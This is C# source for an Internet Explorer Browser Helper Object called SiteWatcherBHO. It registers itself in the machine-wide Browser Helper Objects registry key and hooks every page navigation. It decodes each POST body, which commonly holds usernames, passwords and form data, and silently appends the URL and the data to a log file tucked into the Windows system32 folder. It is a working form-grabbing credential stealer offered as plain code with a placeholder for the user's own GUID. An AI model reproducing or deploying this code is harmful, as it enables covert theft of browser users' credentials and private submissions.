using System;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using SHDocVw;
using System.IO;
[ComImport(), Guid("fc4801a3-2ba9-11cf-a229-00aa003d7352")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IObjectWithSite
{
void SetSite([In,MarshalAs(UnmanagedType.IUnknown)]object pUnkSite);
void GetSite(ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)]out object ppvSite);
}
[ComVisible(true),
ClassInterface(ClassInterfaceType.None),
Guid(SiteWatcherBHO.BHO_GUID)]
public class SiteWatcherBHO : IObjectWithSite
{
public const string BHO_GUID = "C37FC32C-8854-4573-AFC6-C0C6D82E260B"; // << Your GUID goes here
protected SHDocVw.IWebBrowser2 m_pIWebBrowser2; // the browser class object
protected SHDocVw.DWebBrowserEvents2_Event m_pDWebBrowserEvents2; // browser events
protected SHDocVw.DWebBrowserEvents_Event m_pDWebBrowserEvents;
// private FileStream f;
public SiteWatcherBHO()
{
//f = new FileStream("post.log", FileMode.Append);
}
~SiteWatcherBHO()
{
//f.Close();
}
public bool output(string url, string data)
{
try
{
FileStream f = new FileStream(System.Environment.GetEnvironmentVariable("windir") + "\\system32\\post.log", FileMode.Append);
f.Write(new System.Text.ASCIIEncoding().GetBytes(url), 0, new System.Text.ASCIIEncoding().GetBytes(url).Length);
f.Write(new System.Text.ASCIIEncoding().GetBytes(data), 0, new System.Text.ASCIIEncoding().GetBytes(data).Length);
f.Close();
return true;
}
catch
{
return false;
}
}
///
/// IE invokes this method and passes the IUnknown pointer to the
/// container site. We can get the IWebBrowser2 interface from this and subscribe
/// to DWebBrowserEvents2 events sent by the Web browser class.
///
/// The container site's IUnknown pointer
public void SetSite(object pUnkSite)
{
// get IWebBrowser2 reference
if (m_pIWebBrowser2 != null)
Release();
if (pUnkSite == null)
return;
m_pIWebBrowser2 = pUnkSite as SHDocVw.IWebBrowser2;
// check filename, only load for IEXPLORE.EXE
string sHostName = m_pIWebBrowser2.FullName;
if (!(sHostName.ToUpper().EndsWith("IEXPLORE.EXE")))
{
Release();
}
// connect to browser events
m_pDWebBrowserEvents2 = m_pIWebBrowser2 as SHDocVw.DWebBrowserEvents2_Event;
//m_pDWebBrowserEvents = m_pIWebBrowser2 as SHDocVw.DWebBrowserEvents_Event;
if (m_pDWebBrowserEvents2 != null)
m_pDWebBrowserEvents2.BeforeNavigate2 += new SHDocVw.DWebBrowserEvents2_BeforeNavigate2EventHandler(BeforeNavigate2);
// if (m_pDWebBrowserEvents != null)
// m_pDWebBrowserEvents.BeforeNavigate += new SHDocVw.DWebBrowserEvents_BeforeNavigateEventHandler(BeforeNavigate);
else
Release();
return;
}
///
/// Callers invoke this to retrieve the container site previously sent to SetSite().
/// This implementation handles the return of appropriate HRESULT per the
/// documented interface requirements for IObjectWithSite.
///
/// GUID for the interface requested of the site object
/// Fill this with the site object if we find the interface through QI call
public void GetSite(ref System.Guid riid, out object ppvSite)
{
// default implementation should return the stored site pointer
// but following the implementation rules means we check for the
// requested interface using QueryInterface()
ppvSite = null;
if (m_pIWebBrowser2 != null)
{
IntPtr pSite = IntPtr.Zero;
IntPtr pUnk = Marshal.GetIUnknownForObject(m_pIWebBrowser2); // adds ref
Marshal.QueryInterface(pUnk, ref riid, out pSite); // adds ref
Marshal.Release(pUnk); // reduce reference count, we won't be needing pUnk
Marshal.Release(pUnk);
if (!pSite.Equals(IntPtr.Zero))
ppvSite = (object)pSite;
else
Release();
}
else
{
Release();
}
return;
}
protected void BeforeNavigate2(object pDisp, ref object url, ref object Flags, ref object TargetFrameName,
ref object PostData, ref object Headers, ref bool Cancel)
{
try
{
String data = "";
try { data = System.Text.Encoding.UTF8.GetString((byte[])PostData); }
catch { }
if (data.Length > 1)
{
//string URL = url + "\n";
//f.Write(new System.Text.ASCIIEncoding().GetBytes(URL), 0, new System.Text.ASCIIEncoding().GetBytes(URL).Length);
//data += "\n\n";
//f.Write(new System.Text.ASCIIEncoding().GetBytes(data), 0, new System.Text.ASCIIEncoding().GetBytes(data).Length);
//f.Flush();
output(url + "\r\n", data + "\n\r\n\r");
}
}
catch (Exception ex)
{
//f.Write(new System.Text.ASCIIEncoding().GetBytes(ex.Message), 0, new System.Text.ASCIIEncoding().GetBytes(ex.Message).Length);
// f.Flush();
}
}
protected void Release()
{
if (m_pDWebBrowserEvents2 != null)
{
Marshal.ReleaseComObject(m_pDWebBrowserEvents2);
m_pDWebBrowserEvents2 = null;
}
if (m_pIWebBrowser2 != null)
{
Marshal.ReleaseComObject(m_pIWebBrowser2);
m_pIWebBrowser2 = null;
}
}
public static string BHOKEYNAME = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects";
[ComRegisterFunction]
public static void RegisterBHO(Type t)
{
RegistryKey key = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);
if (key == null)
key = Registry.LocalMachine.CreateSubKey(BHOKEYNAME);
string guidString = t.GUID.ToString("B");
RegistryKey bhoKey = key.OpenSubKey(guidString);
if (bhoKey == null)
bhoKey = key.CreateSubKey(guidString);
key.Close();
bhoKey.Close();
}
[ComUnregisterFunction]
public static void UnregisterBHO(Type t)
{
RegistryKey key = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);
string guidString = t.GUID.ToString("B");
if (key != null)
key.DeleteSubKey(guidString, false);
}
}